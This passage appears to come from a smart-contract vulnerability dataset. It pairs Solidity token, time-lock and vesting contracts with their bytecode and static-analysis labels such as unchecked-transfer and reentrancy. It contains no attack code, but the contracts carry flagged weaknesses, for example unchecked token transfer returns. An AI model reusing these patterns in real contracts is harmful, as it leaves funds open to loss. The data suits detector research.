274565b810181811067ffffffffffffffff8211171561315257613151613231565b5b80604052505050565b6000613166826130ce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613199576131986131a4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61355b81613090565b811461356657600080fd5b50565b613572816130a2565b811461357d57600080fd5b50565b613589816130ce565b811461359457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087fb2ec43122dc092fc429926544982aa2092246cd3e03baa58a78d14b0617ea64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,134 |
0x4d754b5c844cfd68679ce35aacab450381e2ee2d
|
pragma solidity 0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LOCKTokenCOIN is StandardToken {
using SafeMath for uint256;
string public name = "LOCK Token COIN";
string public symbol = "LOCKTC";
uint256 public decimals = 8;
uint256 public INITIAL_SUPPLY = 1000000000 * 1 ether;
event Burn(address indexed from, uint256 value);
function LOCKTokenCOIN() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="e4968189878ba4d6">[email protected]</span>π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract LOCKTokenCOINLock is HasNoEther {
using SafeMath for uint256;
LOCKTokenCOIN public LOCKTC;
uint public startTime;
uint public endTime1;
uint public endTime2;
uint256 public tranche;
modifier onlyAfter(uint time) {
require(getCurrentTime() > time);
_;
}
function LOCKTokenCOINLock (
address _ltcAddr,
uint _startTime,
uint _duration,
uint256 _tranche
) HasNoEther() public {
LOCKTC = LOCKTokenCOIN(_ltcAddr);
startTime = _startTime;
endTime1 = _startTime + _duration * 1 days;
endTime2 = _startTime + 2 * _duration * 1 days;
tranche = _tranche * 1e18;
}
function withdraw1(uint256 _value) external onlyOwner onlyAfter(endTime1) {
require(_value <= tranche);
LOCKTC.transfer(owner, _value);
tranche = tranche.sub(_value);
}
function withdraw2(uint256 _value) external onlyOwner onlyAfter(endTime2) {
LOCKTC.transfer(owner, _value);
}
function ltcBalance() external constant returns(uint256) {
return LOCKTC.balanceOf(this);
}
function getCurrentTime() internal constant returns(uint256) {
return now;
}
}
|
0x606060405236156100ad576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f87a044146100bc57806334273351146100df578063691c71bd146101025780636ebc0af11461012b57806378e97925146101545780638da5cb5b1461017d5780639f727c27146101d2578063a67909bd146101e7578063e329e8711461023c578063f2fde38b14610265578063f4e2d68b1461029e575b34156100b857600080fd5b5b5b005b34156100c757600080fd5b6100dd60048080359060200190919050506102c7565b005b34156100ea57600080fd5b6101006004808035906020019091905050610477565b005b341561010d57600080fd5b6101156105fb565b6040518082815260200191505060405180910390f35b341561013657600080fd5b61013e610601565b6040518082815260200191505060405180910390f35b341561015f57600080fd5b610167610607565b6040518082815260200191505060405180910390f35b341561018857600080fd5b61019061060d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101dd57600080fd5b6101e5610632565b005b34156101f257600080fd5b6101fa610706565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024757600080fd5b61024f61072c565b6040518082815260200191505060405180910390f35b341561027057600080fd5b61029c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610732565b005b34156102a957600080fd5b6102b1610889565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561032257600080fd5b6003548061032e610971565b11151561033a57600080fd5b600554821115151561034b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561043957600080fd5b6102c65a03f1151561044a57600080fd5b505050604051805190505061046a8260055461097a90919063ffffffff16565b6005819055505b5b505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104d257600080fd5b600454806104de610971565b1115156104ea57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156105d857600080fd5b6102c65a03f115156105e957600080fd5b50505060405180519050505b5b505b50565b60045481565b60055481565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561068d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561070257fe5b5b5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561095057600080fd5b6102c65a03f1151561096157600080fd5b5050506040518051905090505b90565b60004290505b90565b600082821115151561098857fe5b81830390505b929150505600a165627a7a72305820236cf167b48639a046bc4d974027f42851f1fe7cc2de3a1d15d7de471ab533fa0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,135 |
0xA637205db3Cc9Fc4ED32EBFCBeC58FD7EFc93474
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract EINULockedVesting {
using SafeMath for uint256;
IERC20 public token;
uint256 public unlockAmountTotal;
uint256 public tokenDecimals;
uint256 public baseTime = 1 days;
address operator;
mapping(address => UserVestingInfo) public UserVesting;
struct UserVestingInfo {
uint256 totalAmount;
uint256 unlockAmount;
uint256 dayUnlock;
uint256 lastUnlockTime;
uint256 startDate;
uint256 endDate;
}
event FirstBySenderEvent(address indexed sender, uint256 amount);
event UnlockBySenderEvent(address indexed sender, uint256 amount);
constructor(address _token) public {
operator = msg.sender;
token = IERC20(_token);
tokenDecimals = token.decimals();
// P2E Rewards 9/3/2022 ~ 9/3/2024 (Cliff: 4 months Vesting: 24 months)
addUserVestingInfo(0xd75d679120Ede55BD0201d96c4649Fe8CBc0C4dF, 6_000_000_000, 1662163200, 1725321600);
// Team 5/3/2023 ~ 11/3/2024 (Cliff: 12 months Vesting: 18 months)
addUserVestingInfo(0x245695F89D484652a44819446033830e51feF12F, 3_000_000_000, 1683072000, 1730592000);
// Partners 3/3/2023 ~ 9/3/2024 (Cliff: 10 months Vesting: 18 months)
addUserVestingInfo(0x520cb9D1105708680f34AB55cc3fA40dd9c386FC, 3_000_000_000, 1677801600, 1725321600);
}
function addUserVestingInfo(address _address, uint256 _totalAmount, uint256 _startDate, uint256 _endDate) public {
require(operator == msg.sender, "You do not have permission to operate");
require(_address != address(0), "The lock address cannot be a black hole address");
UserVestingInfo storage _userVestingInfo = UserVesting[_address];
require(_totalAmount > 0, "Lock up amount cannot be 0");
require(_userVestingInfo.startDate == 0, "Lock has been added");
_userVestingInfo.totalAmount = _totalAmount.mul(10 ** tokenDecimals);
_userVestingInfo.dayUnlock = _userVestingInfo.totalAmount.div(_endDate.sub(_startDate).div(baseTime));
_userVestingInfo.startDate = _startDate;
_userVestingInfo.endDate = _endDate;
unlockAmountTotal = unlockAmountTotal.add(_userVestingInfo.totalAmount);
}
function blockTimestamp() public virtual view returns(uint256) {
return block.timestamp;
}
function getUnlockTimes(uint256 _startDate) public virtual view returns(uint256) {
if(blockTimestamp() > _startDate) {
return blockTimestamp().sub(_startDate).div(baseTime);
} else {
return 0;
}
}
function unlockBySender() public {
UserVestingInfo storage _userVestingInfo = UserVesting[msg.sender];
require(_userVestingInfo.totalAmount > 0, "The user has no lock record");
uint256 unlockAmount = 0;
if(blockTimestamp() > _userVestingInfo.endDate) {
require(_userVestingInfo.totalAmount > _userVestingInfo.unlockAmount, "The user has no unlocked quota");
unlockAmount = _userVestingInfo.totalAmount.sub(_userVestingInfo.unlockAmount);
} else {
uint256 unlockTimes = getUnlockTimes(_userVestingInfo.startDate);
require(unlockTimes > _userVestingInfo.lastUnlockTime, "Not ready to unlock");
unlockAmount = unlockTimes.sub(_userVestingInfo.lastUnlockTime).mul(_userVestingInfo.dayUnlock);
_userVestingInfo.lastUnlockTime = unlockTimes;
}
_safeTransfer(msg.sender, unlockAmount);
_userVestingInfo.unlockAmount = _userVestingInfo.unlockAmount.add(unlockAmount);
emit UnlockBySenderEvent(msg.sender, unlockAmount);
}
function _safeTransfer(address _unlockAddress, uint256 _unlockToken) private {
require(balanceOf() >= _unlockToken, "Insufficient available balance for transfer");
token.transfer(_unlockAddress, _unlockToken);
}
function balanceOf() public view returns(uint256) {
return token.balanceOf(address(this));
}
function balanceOfBySender() public view returns(uint256) {
return token.balanceOf(msg.sender);
}
function balanceOfByAddress(address _address) public view returns(uint256) {
return token.balanceOf(_address);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80637230fcb6116100715780637230fcb6146101fa5780637cd8d4fb14610218578063adb6183214610236578063c92972cd14610254578063dfb7be53146102ac578063fc0c546a146102ee576100b4565b8063021f2d83146100b957806308b096a01461011b5780633b97e8561461013957806355acc81c146101575780636fd3cb8a146101d2578063722713f7146101dc575b600080fd5b610119600480360360808110156100cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610322565b005b61012361061e565b6040518082815260200191505060405180910390f35b610141610624565b6040518082815260200191505060405180910390f35b6101996004803603602081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061062a565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b6101da610666565b005b6101e4610916565b6040518082815260200191505060405180910390f35b6102026109e0565b6040518082815260200191505060405180910390f35b6102206109e6565b6040518082815260200191505060405180910390f35b61023e610ab0565b6040518082815260200191505060405180910390f35b6102966004803603602081101561026a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab8565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b8101908080359060200190929190505050610b84565b6040518082815260200191505060405180910390f35b6102f6610bd4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061107d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561044e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806110c3602f913960400191505060405180910390fd5b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008411610507576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4c6f636b20757020616d6f756e742063616e6e6f74206265203000000000000081525060200191505060405180910390fd5b6000816004015414610581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4c6f636b20686173206265656e2061646465640000000000000000000000000081525060200191505060405180910390fd5b610599600254600a0a85610bf890919063ffffffff16565b81600001819055506105de6105cb6003546105bd8686610c7e90919063ffffffff16565b610cc890919063ffffffff16565b8260000154610cc890919063ffffffff16565b81600201819055508281600401819055508181600501819055506106118160000154600154610d1290919063ffffffff16565b6001819055505050505050565b60035481565b60025481565b60056020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050154905086565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f546865207573657220686173206e6f206c6f636b207265636f7264000000000081525060200191505060405180910390fd5b60008160050154610732610ab0565b11156107d75781600101548260000154116107b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f546865207573657220686173206e6f20756e6c6f636b65642071756f7461000081525060200191505060405180910390fd5b6107d082600101548360000154610c7e90919063ffffffff16565b905061089b565b60006107e68360040154610b84565b905082600301548111610861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420726561647920746f20756e6c6f636b0000000000000000000000000081525060200191505060405180910390fd5b61088e8360020154610880856003015484610c7e90919063ffffffff16565b610bf890919063ffffffff16565b9150808360030181905550505b6108a53382610d9a565b6108bc818360010154610d1290919063ffffffff16565b82600101819055503373ffffffffffffffffffffffffffffffffffffffff167fc549feef53ceaa371dfe1584f0466599c0bf5cc1f1d3df87aaed4ef83075bb86826040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109a057600080fd5b505afa1580156109b4573d6000803e3d6000fd5b505050506040513d60208110156109ca57600080fd5b8101908080519060200190929190505050905090565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a7057600080fd5b505afa158015610a84573d6000803e3d6000fd5b505050506040513d6020811015610a9a57600080fd5b8101908080519060200190929190505050905090565b600042905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b4257600080fd5b505afa158015610b56573d6000803e3d6000fd5b505050506040513d6020811015610b6c57600080fd5b81019080805190602001909291905050509050919050565b600081610b8f610ab0565b1115610bca57610bc3600354610bb584610ba7610ab0565b610c7e90919063ffffffff16565b610cc890919063ffffffff16565b9050610bcf565b600090505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080831415610c0b5760009050610c78565b6000828402905082848281610c1c57fe5b0414610c73576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806110a26021913960400191505060405180910390fd5b809150505b92915050565b6000610cc083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b905092915050565b6000610d0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f8b565b905092915050565b600080828401905083811015610d90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b80610da3610916565b1015610dfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180611052602b913960400191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5